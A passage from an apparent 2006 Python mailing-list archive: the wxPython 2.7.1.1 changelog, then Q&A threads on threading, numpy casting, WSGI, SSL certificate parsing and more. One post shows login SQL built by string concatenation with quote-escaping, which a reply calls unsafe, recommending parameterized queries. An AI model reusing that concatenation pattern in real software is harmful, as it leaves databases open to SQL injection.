will usually run on multiple platforms without modifications.
Currently supported platforms are 32-bit Microsoft Windows, most Linux
or other Unix-like systems using GTK2, and Mac OS X 10.3+, in most
cases the native widgets are used on each platform.


Changes in 2.7.1.1
------------------

The following deprecated items have been removed:

     * wx.Bitmap SetQuality and GetQuality methods

     * The wx.GetNumberFromUser function

     * wx.EVT_LIST_GET_INFO and wx.EVT_LIST_SET_INFO

     * wx.BookCtrlSizer and wx.NotebookSizer

     * The PostScript-specific methods of wx.PrintData

     * wx.PrintDialogData SetSetupDialog and GetSetupDialog methods

     * wx.FontMapper SetConfig method

     * wx.html.HtmlSearchStatus.GetContentsItem method

     * wx.html.HtmlHelpData.GetContents, GetContentsCnt, GetIndex, and
       GetIndexCnt methods


wx.EventLoop is now implemented for wxMac.

Added wxPython wrappers for the new wx.Treebook and wx.Toolbook
classes.

wx.DC.BeginDrawing and EndDrawing have been deprecated in the C++
code, so since they never really did anything before they are now just
empty stubs in wxPython.

Solved a problem that has been around for a very long time in how C++
methods are virtualized for overriding in derived Python classes.
Previously we couldn't do it for methods that needed to also exist in
the base class wrappers such that they could be called normally.  (The
reasons are long and complex, but suffice it to say that it was due to
mixing C++'s dynamic dispatch, and Python's runtime lookup of the
method attributes resulting in endless recursion of function calls.)
Because of this problem I used a hack that I have always hated, and
that is renaming the base class methods with a "base_*" prefix, for
example wx.Printout.base_OnBeginDocument.  Now that the problem has
finally been solved I have replaced all the base_Whatever() methods
with the real Whatever() method as well as a simple wrapper named
base_Whatever that is marked as deprecated.  So now instead of writing
your overridden methods like this::

     def OnBeginDocument(self, start, end):
	# do something here
	return self.base_OnBeginDocument(start, end)

You can now call the base class method the normal way, like this::

     def OnBeginDocument(self, start, end):
	# do something here
	return Printout.OnBeginDocument(self, start, end)

Or like this with super()::

     def OnBeginDocument(self, start, end):
	# do something here
	return super(MyPrintout, self).OnBeginDocument(start, end)

Note that the old way with the "base_*" function still works, but you
will get a DeprecationWarning from calling base_OnBeginDocument.  The
classes affected by this are:

     * wx.DropSource
     * wx.DropTarget
     * wx.TextDropTarget
     * wx.FileDropTarget
     * wx.PyLog   (also added the ability to override Flush)
     * wx.PyApp   (also added the ability to override ExitMainLoop)
     * wx.Printout
     * wx.PyPrintPreview
     * wx.PyPreviewFrame
     * wx.PreviewControlBar
     * wx.Process
     * wx.PyControl
     * wx.PyPanel
     * wx.PyScrolledWindow
     * wx.PyWindow
     * wx.Timer
     * wx.grid.PyGridCellRenderer
     * wx.grid.PyGridCellEditor
     * wx.grid.PyGridCellAttrProvider
     * wx.grid.PyGridTableBase
     * wx.html.HtmlWindow
     * wx.wizard.PyWizardPage


Added the wx.DC.GradientFillConcentric and wx.DC.GradientFillLinear
methods.

wxGTK: wx.ListBox and wx.CheckListBox are now using native GTK2
widgets.

Added wx.ListBox.HitTest() from patch 1446207

Bumped up to SWIG 1.3.29.  This provides some more runtime performance
boosts, gets rid of the dreaded Ptr classes, and some other nice new
things.

Added wx.Window.GetScreenPosition and GetScreenRect which returns the
position of the window in screen coordinates, even if the window is
not a top-level window.

Added GetResourcesDir and GetLocalizedResourcesDir to
wx.StandardPaths.

Added a GetReceivedFormat method to wx.DataObjectComposite.  You can
use this to find out what format of data object was recieved from the
source of the clipboard or DnD operation, and then you'll know which
of the component data objects to use to access the data.

Changed how the stock objects (wx.RED, wx.RED_PEN, wx.RED_BRUSH, etc.)
are initialized.  They are now created as uninitialized instances
using __new__.  Then after the wx.App has been created, but before
OnInit is called, the .this attribute of each object is initialized.
This was needed because of some delayed initialization functionality
that was implemented in wxWidgets, but the end result is cleaner for
wxPython as well, and allowed me to remove some ugly code previously
hidden under the covers.

Added wx.StandardPaths.GetDocumentsDir.

Added wx.RendererNative.DrawCheckButton.

wx.ProgressDialog.Update now returns a tuple of two values.  The first
is a continue flag (what was returned before) and the second is a skip
flag.  If the dialog has the wx.PD_CAN_SKIP flag and if the Skip
button is clicked, then the skip flag is set to True the next time
Update is called.

A DeprecationWarning is now issued when the old wxPython package is
imported.  If you are still using the old namespace please convert
your code to use the new wx package instead.

Added wrappers for Julian's new wxRichTextCtrl class, visible in
wxPython as wx.richtext.RichTextCtrl window.  It still needs some more
work, but it is a great start.

wx.lib.mixins.listctrl.TextEditMixin: Fixed the double END_LABEL_EDIT
event problem in TextEditMixin by checking if the editor was already
hidden before continuing with the CloseEditor method.  Also added code
to OpenEditor to send the BEGIN_LABEL_EDIT event and to not allow the
opening of the editor to continue if the event handler doesn't allow
it.

wx.StaticBoxSizer now keeps better track of the wx.StaticBox, and it
will destroy it if the sizer is destroyed before the parent window is.

Added wx.HyperlinkCtrl.

Added battery and power related functions and events (wxMSW only so
far.)  See wx.PowerEvent, wx.GetPowerType and wx.GetBatteryState.

Added wx.ListCtrl.HitTestSubItem which returns the sub-item (i.e. the
column in report mode) that was hit (if any) in addition to the item
and flags.

Added wrappers for wx.ColourPickerCtrl, wx.DirPickerCtrl,
wx.FilePickerCtrl, and wx.FontPickerCtrl.

Patch #1502016 wx.Image.ConvertToGreyscale now retains the alpha
channel.

Added wrappers for the wxAUI classes, in the wx.aui module.

Added the PseudoDC class from Paul Lanier.  It provides a way to
record operations on a DC and then play them back later.

Upgraded to Scintilla 1.70 for wx.stc.StyledTextCtrl.

Added CanSetTransparent and SetTransparent methods to the
wx.TopLevelWindow class, with implementations (so far) for wxMSW and
wxMac.

SetDefaultItem() and GetDefaultItem() are now members of
wx.TopLevelWindow, not wx.Panel.

wxGTK: Stock items (icons) will be used for menu items with stock
IDs.

Added wx.lib.combotreebox from Frank Niessink

Added wx.ImageFromBuffer, wx.BitmapFromBuffer and
wx.BitmapFromBufferRGBA factory functions.  They enable loading of an
image or bitmap directly from a Python object that implements the
buffer interface, such as strings, arrays, etc.

Added wx.App.IsDisplayAvailable() which can be used to determine if a
GUI can be created in the current environment.  (Still need an
implementation for wxMSW...)

The wx.html.HTML_FONT_SIZE_x constants are no longer available as the
default sizes are now calculated at runtime based on the size of the
normal GUI font.

wx.Colour now includes an alpha component, which defaults to
wx.ALPHA_OPAQUE.  This is in preparation for allowing various new
alpha blening functionality using wx.Colour objects, such as drawing
with pens and brushes on a wx.DC.

Added wx.NativePixelBuffer, wx.AlphPixelBuffer and related iterator
and accessor classes.  They allow platform independent direct access
to the platform specific pixel buffer inside of a wx.Bitmap object.

The beginnings of support for RTL languages has been added, thanks to
a Google SoC project.

Added wx.lib.dragscroller from Riaan Booysen.  It provides a helper
class that can used to scroll a wx.ScrolledWindow in response to a
mouse drag.

Applied patch 1551409: Adds support for indeterminate mode gauges.

wxMac: I've turned on the compile option for using the native toolbar
on the Mac now that it supports hosting of controls.  If the toolbar
is managed by the frame via either CreateToolBar() or SetToolBar()
then the native toolbar will be used.  Additional toolbars, or
toolbars that are not children of the frame, are managed by sizers or
what-not will still use the emulated toolbar because of platform
restrictions in how/where the native toolbar can be used.

Added Python properties for many of the getter/setter methods of wx
classes.  In order for the names to be predicatble for somebody
already familiar with wxPython the property names are simply the name
of the getter with the "Get" dropped.  For example, wx.Window has a
property named "Size" that maps to GetSize and SetSize.  So far there
is only one known name conflict using this naming convention, and that
is wx.KeyEvent.KeyCode, however since KeyCode was formerly a
compatibility alias for GetKeyCode (and has been for a long time) it
was decided to just switch it to a property.  If you want to use the
method then change your calls to event.KeyCode() to
event.GetKeyCode(), otherwise you can use it as a property just by
dropping the parentheses.

Updated the C++ code for wx.gizmos.TreeListCtrl from the wxCode
project.  This has resulted in some minor API changes, most of which
were worked around in the wrapper code.

Added wx.lib.delayedresult from Oliver Schoenborn.

Added wx.lib.expando, a multi-line textctrl that exands as more lines
are needed.

wx.Image.Scale and Rescale methods now take an extra parameter
specifying type of method to use for resampling the image.  It
defaults to the current behavior of just replicating pixels, if
wx.IMAGE_QUALITY_HIGH is passed then it uses bicubic and box averaging
resampling methods for upsampling and downsampling respectively.

Added the wx.lib.buttonpanel module, which is a tweaked version of
Andrea Gavana's FancyButtonPanel module.

Added the wx.lib.flatnotebook module, from Andrea Gavana.

Renamed wx.FutureCall to wx.CallLater so it is named more like
wx.CallAfter.  wx.FutureCall is now an empty subclass of wx.CallLater
for compatibility of older code.

Added the wx.lib.customtreectrl module from Andrea Gavana.

Added ChangeSelection to wx.BookCtrl (the base class for wx.Notebook
and other book controls) that is the same as SetSelection but doesn't
send the change events.

Added wx.TextCtrl.ChangeValue() which is the same as SetValue() but
doesn't send the text changed event.

For consistency, all classes having an Ok() method now also have
IsOk(), use of the latter form is preferred although the former hasn't
been deprecated yet

Added the wx.AboutBox() function and wx.AboutDialogInfo class.  They
provide a way to show a standard About box for the application, which
will either be a native dialog or a generic one depending on what info
is provided and if it can all be shown with the native dialog.

The code in the animate contrib has been moved into the code wxWidgets
library, and refactored a bit along the way.  For wxPython it still
exists in the wx.animate module, but has basically been reduced to two
classes, wx.animate.Animation, and wx.animate.AnimationCtrl.  You load
the animated GIF (and hopefully there will be other supported formats
in the near future) in the Animation object, and then give that to the
AnimatedCtrl for display.  See the demo for an example.  There is also
still a GIFAnimationCtrl class that provides some level of backwards
compatibility with the old implementation.

wxMac: The compile option that turns on the use of CoreGraphics (a.k.a
Quartz) for wxDC is now turned on by default.  This means that all
drawing via wxDC is done using the new APIs from apple, instead of the
old Quick Draw API.  There are, however, a few places where Quartz and
wxDC don't fit together very well, mainly the lack of support for
logical drawing operations such as XOR, but there is work in progress
to provide other ways to do the same sort of thing that will work with
Quartz and also on the other platforms.

The first parts of a new 2D drawing API has been added with the
wx.GraphicsPath and wx.GraphicsContext classes.  They wrap GDI+ on
Windows, Cairo on wxGTK and CoreGraphics on OS X.  They allow path-based
drawing with alpha-blending and anti-aliasing, and use a floating
point cooridnate system.  Currently they can only target drawing to
windows, but other wx.DC backends are forthcoming.  The APIs may
evolve a bit more before they are finalaized with the 2.8 release, but
there is enough there now to get a good feel for how things will work.
There is also a transitional wx.GCDC class that provides the wx.DC API
on top of wx.GraphicsContext.  Docs and a demo are still MIA.

Added a wx.AutoBufferedPaintDC that is a subclass of wx.PaintDC on
platforms that do double buffering by default, and a subclass of
wx.BufferedPaintDC on the platforms that don't.  You can use this
class to help avoid the overhead of buffering when it is not
needed. There is also a wx.AutoBufferedPaintDCFactory function that
does a little more and actually tests if the window has
double-buffering enabled and then decides whether to return a
wx.PaintDC or wx.BufferedPaintDC.  This uses the new
wx.Window.IsDoubleBuffered method.


-- 
Robin Dunn
Software Craftsman
http://wxPython.org  Java give you jitters?  Relax with wxPython!



From msherman77 at yahoo.com  Wed Oct 25 07:27:40 2006
From: msherman77 at yahoo.com (Michael S)
Date: Wed, 25 Oct 2006 07:27:40 -0400 (EDT)
Subject: [wxPython-users] Re:
In-Reply-To: <20061024200724.0AA7.JCARLSON@uci.edu>
Message-ID: <20061025112740.44244.qmail@web88303.mail.re4.yahoo.com>

If I create a threading.Thread derived class, and run
the wxPython code in the main thread; using a lock,
will I be able to suspend the Thread, even though it
will run the C code, which is essentially a while loop
looping through millions of lines of a text file?

Thanks in advance.
Michael

--- Josiah Carlson <jcarlson at uci.edu> wrote:

> 
> Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> > At Tuesday 24/10/2006 23:25, Michael S wrote:
> > 
> > >I extended part of my program in C, since that
> part
> > >was too involved for Python. Now when I import
> the
> > >module I created and call its functions, I am
> trying
> > >to feedback some information bac to my wxPython
> > >program. The function runs for a while and I
> wanted to
> > >update a progress bar, but when I call the
> function of
> > >my new module, wxPython doesn't respond when
> wx.Timer
> > >is supposed to fire.
> > 
> > Does your extension run on a separate thread? I
> guess not. So the 
> > wxPython code does not have a chance to run.
> > Do it the other way: from your C code, call a
> Python function which 
> > in turn updates the progress bar (and keep it
> simple!)
> 
> Unless the GUI thread has a chance to take passes
> through the wxPython
> mainloop, the progress bar, etc., may not actually
> be updated on some
> platforms.
> 
> Mr. Sherman would likely be better off creating a
> new thread which
> handles processing, which could update a C global
> variable, which the
> GUI thread can poll to update its progress bar, etc.
>  Alternatively, if
> the processing can be broken down into smaller
> pieces, the secondary
> thread can call the pieces and post events back to
> the GUI thread to
> update the progress bar (via explicit wx.PostEvent
> or implicit
> wx.CallAfter).
> 
> 
>  - Josiah
> 
> 
>
---------------------------------------------------------------------
> To unsubscribe, e-mail:
> wxPython-users-unsubscribe at lists.wxwidgets.org
> For additional commands, e-mail:
> wxPython-users-help at lists.wxwidgets.org
> 
> 



From apardon at forel.vub.ac.be  Wed Oct  4 06:38:41 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 10:38:41 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei6qtc.55m.apardon@rcpc42.vub.ac.be>
	<slrnei70cd.96l.nick@irishsea.home.craig-wood.com>
Message-ID: <slrnei73ph.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Nick Craig-Wood <nick at craig-wood.com> wrote:
> Antoon Pardon <apardon at forel.vub.ac.be> wrote:
>>  One possible way to do what I think you want is to code as follows:
>> 
>>  class Default (object):
>>    pass
>
> I'd have written
>
> Default = object()
>
>>  def f(var=Default):
>>    if var is Default:
>>      var = 1
>>    return var * 2
>
> But yes, defining a sentinel like this is a good idea.

The problem is that a lot of built in and library functions
are not written this way. So when f is one of those, you
are stuck.

-- 
Antoon Pardon


From steve at holdenweb.com  Sat Oct 28 07:12:58 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 28 Oct 2006 12:12:58 +0100
Subject: Import if condition is correct
In-Reply-To: <1162032099.393489.321290@e3g2000cwe.googlegroups.com>
References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>	<ehvbso$1k3$1@news.albasani.net>
	<1162032099.393489.321290@e3g2000cwe.googlegroups.com>
Message-ID: <ehvdtm$5e9$1@sea.gmane.org>

MindClass wrote:
> Georg Brandl wrote:
> 
>>MindClass wrote:
>>
>>>Is possible import a library according to a condition?
>>>
>>>if Foo == True:
>>>    import bar
>>>
>>
>>Why don't you try it?
>>
> 
> I thinked that could be another way for import statement.
> 
> In that case I'll have to set a global variable before of the import
> statements although I'd prefer not use them.
> 

I'm guessing that you think this might be necessary to avoid importing 
the same module multiple times: it's not. Python only runs the module's 
code the first time the module is imported into a program. A further 
import statement effectively does noting, because the interpreter sees 
(from an entry in the sys.modules dictionary) that the module is already 
present.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mensanator at aol.com  Fri Oct 27 01:17:18 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 26 Oct 2006 22:17:18 -0700
Subject: Cards deck problem
In-Reply-To: <B1g0h.19774$UG4.2581@newsread2.news.pas.earthlink.net>
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
	<slrnek30pv.jcj.mmn@linux.site>
	<B1g0h.19774$UG4.2581@newsread2.news.pas.earthlink.net>
Message-ID: <1161926238.253178.29340@h48g2000cwc.googlegroups.com>


Dennis Lee Bieber wrote:
> On Fri, 27 Oct 2006 03:48:25 GMT, Michael Naunton
> <mmn at news.bellatlantic.net> declaimed the following in comp.lang.python:
>
> >
> > This may seem pendantic, but CS is mostly about thinking about (and thus
>
> 	<snicker> Someday I should arrange to do a lost-wax casting of a
> /pendant/ with the definition of /pedant/ on it <G>

Why not a /pedant/ with a description of /pendant/ on it?

> --
> 	Wulfraed	Dennis Lee Bieber		KD6MOG
> 	wlfraed at ix.netcom.com		wulfraed at bestiaria.com
> 		HTTP://wlfraed.home.netcom.com/
> 	(Bestiaria Support Staff:		web-asst at bestiaria.com)
> 		HTTP://www.bestiaria.com/



From john106henry at hotmail.com  Wed Oct 25 20:12:14 2006
From: john106henry at hotmail.com (John Henry)
Date: 25 Oct 2006 17:12:14 -0700
Subject: Dealing with multiple sets
In-Reply-To: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
Message-ID: <1161821534.759477.194750@m7g2000cwm.googlegroups.com>

Oops.  Forgot to mention, I am still using 2.3.


John Henry wrote:
> Hi list,
>
> If I have a bunch of sets:
>
> a = set((1, 2, 3))
> b = set((2, 3))
> c = set((1, 3))
> ....
>
> What's the cleanest way to say:
>
> 1) Give me a list of the items that are in all of the sets? (3 in the
> above example)
> 2) Give me a list of the items that are not in all of the sets? (1,2 in
> the above example)
> 
> Thanks,



From sturlamolden at yahoo.no  Tue Oct 24 18:55:15 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 24 Oct 2006 15:55:15 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <453E4D95.7080204@v.loewis.de>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<453D4BC4.9080100@v.loewis.de>
	<1161649124.962144.127140@e3g2000cwe.googlegroups.com>
	<453E4D95.7080204@v.loewis.de>
Message-ID: <1161730515.244084.9310@m73g2000cwd.googlegroups.com>


Martin v. L?wis wrote:

Your news server doesn't honour cancel as well...

> It doesn't need to, why do you think it does?

This was an extremely stupid question on my side. It needs to be
flushed after a write because that's how the memory pages mapping the
file is synchronized with the file. Write ops to the memory mapping
addresses isn't immediately synchronized with the file on disk. Both
Windows and UNIX require this. I should think before I write, but I
realized this after posting and my cancel didn't reach you.

> Read the source, Luke. It uses mmap or MapViewOfFile, depending
> on the platform.

Yes, indeed.



From deets at nospam.web.de  Tue Oct  3 18:40:40 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Wed, 04 Oct 2006 00:40:40 +0200
Subject: Strange sorting error message
In-Reply-To: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
Message-ID: <4og779Fe6briU1@uni-berlin.de>

Dustan schrieb:
> I'm hiding some of the details here, because I don't want to say what
> I'm actually doing.

> I have a special-purpose class with a __cmp__ method all set up and
> ready to go for sorting. Then I have a special class that is based on
> the builtin type list (though I didn't actually inherit list; I
> probably should). When I create an instance with 2 or more items, and
> attempt to sort it, I get this strange error message:
> 
>>>> myList.sort()
> Traceback (most recent call last):
>   File "<console>", line 1, in <module>
>   File "[listModulePath]", line 239, in sort
>     self.listOfObjects.sort()
> TypeError: an integer is required
> 
> The sort method's code is exactly what you see; it's a one-line method.
> 
> The only thing I can think of is the __cmp__ method is returning
> something other than an integer, which it's not.

Does stuffing the objects in a standard list and sorting them work? How 
does the __cmp__-method look like?

Diez



From ianb at colorstudy.com  Mon Oct  9 11:30:56 2006
From: ianb at colorstudy.com (Ian Bicking)
Date: 9 Oct 2006 08:30:56 -0700
Subject: WSGI - How Does It Affect Me?
In-Reply-To: <mailman.70.1160336094.11739.python-list@python.org>
References: <mailman.70.1160336094.11739.python-list@python.org>
Message-ID: <1160407856.216314.197210@k70g2000cwa.googlegroups.com>

Gregory Pi?ero wrote:
> What I'm most confused about is how it affects me.  I've been writing
> small CGI programs in Python for a while now whenever I have a need
> for a web program.  Is CGI now considered "Bad"?  I've just always
> found it easier to write something quickly with the CGI library than
> to learn a framework and fool with installing it and making sure my
> web host supports it.

There's two aspects to CGI.  As a method of deploying a web
application, it is fine (though slow).  You can still deploy your
applications as CGI if you write them with WSGI.  (This is covered some
in PEP 333)

There are some bad parts of CGI too, which won't work with WSGI.  An
example is using "print" for output.  WSGI is neutral about how your
application will run -- maybe it'll be a CGI script, maybe it'll be a
threaded server with long-running processes, maybe a forking server.
Also, you can't have statements at the module level, like you would
with a CGI script.  All your code needs to be in functions.  I think
these are all good ideas anyway.

One advantage of WSGI is that in addition to CGI you can easily set up
an HTTP server (there's one in wsgiref, for example).  Then you can
develop and test your application locally.

  Ian



From no-spam at no-spam-no-spam.com  Thu Oct 26 16:06:45 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 22:06:45 +0200
Subject: numpy numbers converted wrong
Message-ID: <ehr4gn$24ur$1@ulysses.news.tiscali.de>

in Gnuplot (Gnuplot.utils) the input array will be converted to a Numeric float array as shown below. When I insert a numpy array into Gnuplot like that below, numbers 7.44 are cast to 7.0 
Why is this and what should I do ? Is this bug in numpy or in Numeric?


[Dbg]>>> m         #numpy array
array([[  9.78109200e+08,   7.44000000e+00],
       [  9.78454800e+08,   7.44000000e+00],
       [  9.78541200e+08,   8.19000000e+00],
       ..., 
       [  1.16162280e+09,   8.14600000e+01],
       [  1.16170920e+09,   8.10500000e+01],
       [  1.16179560e+09,   8.16800000e+01]])
[Dbg]>>> Numeric.asarray(m, Numeric.Float32)[:10]
array([[ 9.78109184e+008,  7.00000000e+000],
       [ 9.78454784e+008,  7.00000000e+000],
       [ 9.78541184e+008,  8.00000000e+000],
       [ 9.78627584e+008,  8.00000000e+000],
       [ 9.78713984e+008,  8.00000000e+000],
       [ 9.78973184e+008,  8.00000000e+000],
       [ 9.79059584e+008,  8.00000000e+000],
       [ 9.79145984e+008,  8.00000000e+000],
       [ 9.79232384e+008,  9.00000000e+000],
       [ 9.79318784e+008,  8.00000000e+000]],'f')
[Dbg]>>> Numeric.asarray(m, Numeric.Float)[:10]
array([[ 9.78109200e+008,  7.00000000e+000],
       [ 9.78454800e+008,  7.00000000e+000],
       [ 9.78541200e+008,  8.00000000e+000],
       [ 9.78627600e+008,  8.00000000e+000],
       [ 9.78714000e+008,  8.00000000e+000],
       [ 9.78973200e+008,  8.00000000e+000],
       [ 9.79059600e+008,  8.00000000e+000],
       [ 9.79146000e+008,  8.00000000e+000],
       [ 9.79232400e+008,  9.00000000e+000],
       [ 9.79318800e+008,  8.00000000e+000]])
[Dbg]>>> 


and why and what is:

[Dbg]>>> m[0,1]
7.44
[Dbg]>>> type(_)
<type 'numpy.float64'>
[Dbg]>>> 


does this also slow down python math computations? 
should one better stay away from numpy in current stage of numpy development?
I remember, with numarray there were no such problems.

-robert


PS: in Gnuplot.utils:

def float_array(m):
    """Return the argument as a Numeric array of type at least 'Float32'.

    Leave 'Float64' unchanged, but upcast all other types to
    'Float32'.  Allow also for the possibility that the argument is a
    python native type that can be converted to a Numeric array using
    'Numeric.asarray()', but in that case don't worry about
    downcasting to single-precision float.

    """

    try:
        # Try Float32 (this will refuse to downcast)
        return Numeric.asarray(m, Numeric.Float32)
    except TypeError:
        # That failure might have been because the input array was
        # of a wider data type than Float32; try to convert to the
        # largest floating-point type available:
        return Numeric.asarray(m, Numeric.Float)


From olsongt at verizon.net  Wed Oct 18 10:50:02 2006
From: olsongt at verizon.net (olsongt at verizon.net)
Date: 18 Oct 2006 07:50:02 -0700
Subject: Restart a Python COM Server
In-Reply-To: <1161137817.550348.157890@m73g2000cwd.googlegroups.com>
References: <1161137817.550348.157890@m73g2000cwd.googlegroups.com>
Message-ID: <1161183002.883210.110930@m73g2000cwd.googlegroups.com>


m.errami at gmail.com wrote:
> Hello all.
> I am desperately in need for you help guys. Here is the story:
> 1- I have created a small simple COM serve with python (along the lines
> read in Win32 Programming with python).
> 2- If I start the server and call a function from VBE everything works
> fine
> 3- I then want to modify the function in the python COM server
> 4- I unregister the server and register it again hoping the changes
> will take effect
> 5- I make call to the function from VBE but the it seems that VBE
> doesn't reload/refresh the reference to the server.
> So I do I get VBE to point to the last version of the server? If I
> close VBE and reload it then it works. But I think there is probably a
> smarter way. Please, tell me there is!
> Few posts deal with the issue, but so far I couldn't find anything
> about it...
>
> Thanx all
> M.E

I don't know how well this works for python-based COM components, but
the general fix is to setup a Component Services package.  This creates
a proxy component which can be independently killed from the Component
Services management console.



From fredrik at pythonware.com  Tue Oct 17 10:08:34 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 16:08:34 +0200
Subject: Problem creating animated gif
References: <1161093502.432509.38340@m7g2000cwm.googlegroups.com>
Message-ID: <eh2o52$51l$1@sea.gmane.org>

"abcd" <codecraig at gmail.com> wrote:

> Any ideas?  Basically I want to make an animated GIF out of a bunch of
> images taken using the ImageGrab module.

the screen is an RGB device, but the gifmaker wants palette images (mode P).
to fix this, insert

    im = im.convert("P")

after the grab (or before the call to makedelta).

</F> 





From fredrik at pythonware.com  Thu Oct 26 03:35:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 09:35:32 +0200
Subject: python html 2 image (png)
In-Reply-To: <11c6e45f0610260006r7aa6d5b0w8f91eaa235c065df@mail.gmail.com>
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>	<mailman.1155.1161764711.11739.python-list@python.org>	<1161778587.501281.92320@h48g2000cwc.googlegroups.com>	<4q9l3cFm97ffU1@uni-berlin.de>	<1161845822.338404.197410@f16g2000cwb.googlegroups.com>
	<11c6e45f0610260006r7aa6d5b0w8f91eaa235c065df@mail.gmail.com>
Message-ID: <ehpog3$nnd$1@sea.gmane.org>

joe Li wrote:

> **class Bunch(object):
>     def __init__(self, **fields):
>         self.__dict__ = fields
>        
> p = Bunch(x=2.3, y=4.5)
> print p                    
> 
> print p.__dict__
> 
> I dont' understand the usage of the double * here, could anyone explain 
> it for me?

if you're going to post questions to arbitrarily chosen threads, you 
could at least change the subject (but it's a lot nicer to open a new 
thread).

the "**" prefix tells Python to stuff any excess keyword arguments into 
the given variable:

 >>> def func(**kwargs):
...     print kwargs
...
 >>> func()
{}
 >>> func(spam=1, egg=2)
{'egg': 2, 'spam': 1}

for more on Python's parameter syntax, see the section on "def" in the 
language reference; see e.g.

     http://effbot.org/pyref/def.htm

</F>



From nagle at animats.com  Tue Oct 24 00:03:02 2006
From: nagle at animats.com (John Nagle)
Date: Tue, 24 Oct 2006 04:03:02 GMT
Subject: Obtaining SSL certificate info from SSL object - BUG?
Message-ID: <453D95EA.1020602@animats.com>

     The Python SSL object offers two methods from obtaining
the info from an SSL certificate, "server()" and "issuer()".
The actual values in the certificate are a series of name/value
pairs in ASN.1 binary format.  But what "server()" and "issuer()"
return are strings, with the pairs separated by "/".  The
documentation at "http://docs.python.org/lib/ssl-objects.html"
says "Returns a string containing the ASN.1 distinguished name identifying the 
server's certificate. (See below for an example showing what distinguished names 
look like.)"  There is, however, no "below".

What you actually get back looks like this, which is Google's certificate:

"/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com"

So, no problem; just split on "/", right?

Unfortunately, "/" is a legal character in certificate values.

Worse, this isn't just a theoretical problem. Verisign's issuer
information reads:

"/O=VeriSign Trust Network/OU=VeriSign, Inc./OU=VeriSign International
Server CA - Class 3/OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 
VeriSign".

Note that

    "OU=Terms of use at www.verisign.com/rpa (c)00"

with a "/" in the middle of the value field.  So you hit this
problem on every cert issued by Verisign.  Oops.

Nor does there seem to be a way to get at the certificate itself
from within Python. There was some discussion of this in 2002 at

http://groups.google.com/group/comp.lang.python/browse_frm/thread/a91a4e1c0f4e03c4/eec124c606f56c0b?lnk=gst&q=socket+ssl+issuer&rnum=4#eec124c606f56c0b

when someone wrote: "Furthermore, while the server and issuer are exposed
through undocumented attributes, the server_cert is not.  So there is no way to
validate the cert manually, short of rewriting socketmodule.c.  This is one case
where the batteries included have been sitting on the shelf too long."

Clearly, "server()" and "issuer()" should return lists, not strings.  That
would resolve the ambiguity.  ASN.1 is a representation for lists, and
hammering those lists into strings loses information.

Is there a workaround for this?  Without rebuilding Python
and becoming incompatible?

			John Nagle
			Animats


From steve at holdenweb.com  Tue Oct 24 07:31:09 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 12:31:09 +0100
Subject: Protecting against SQL injection
In-Reply-To: <Xns986662F736DD5toreriknpolarno@129.242.5.222>
References: <Xns986662F736DD5toreriknpolarno@129.242.5.222>
Message-ID: <ehktfr$tjn$2@sea.gmane.org>

Tor Erik Soenvisen wrote:
> Hi,
> 
> How safe is the following code against SQL injection:
> 
>         # Get user privilege
>         digest = sha.new(pw).hexdigest()
>         # Protect against SQL injection by escaping quotes
>         uname = uname.replace("'", "''")
>         sql = 'SELECT privilege FROM staff WHERE ' + \
>               'username=\'%s\' AND password=\'%s\'' % (uname, digest)
>         res = self.oraDB.query(sql)
> 
> pw is the supplied password abd uname is the supplied password.
> 
Slightly safer than not doing anything to the user-supplied inputs, but 
nowehere near as safe as it needs to be. Use parameterized queries!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From johan.h.lindberg at gmail.com  Tue Oct  3 04:21:43 2006
From: johan.h.lindberg at gmail.com (johan.h.lindberg at gmail.com)
Date: 3 Oct 2006 01:21:43 -0700
Subject: app with standalone gui and web interface
References: <mailman.1130.1159837251.10491.python-list@python.org>
Message-ID: <1159863703.408329.274450@i3g2000cwc.googlegroups.com>

Hi Daniel.

> What would the simplest way to make an application that has both a web
> interface and runs from behind a web server but also can be used as a
> standalone app with a gui? More precisely is it possible to avoid
> creating an html/xml/whatever based web interface for the web version
> and separately creating a gui (wxpython for example) for the
> standalone version and instead create a graphical frontend at once
> that can be used for both?

I was experimenting with something roughly similar a couple of years
ago. You might find it interesting. What I did may or may not work in
your case. It depends on what you want to be able to do in the
application.

I built an application that consisted of some server side Java/JSPs
that gave out XML. I used two stylesheets to transform the data into
either HTML (for the web version) or another XML-format called wxWML
(for the wxPython version). Desktop users accessed the application via
a custom "webbrowser" that translates the wxWML to wxPython code which
is executed to generate the GUI. This way, anyone with the wxBrowser
installed could access the application as if it was a desktop app.

But you should know that this was an experiment. We ended up not using
it because it felt weird and because there was not much extra gain to
be had from the desktop part. You should also know that the wxBrowser
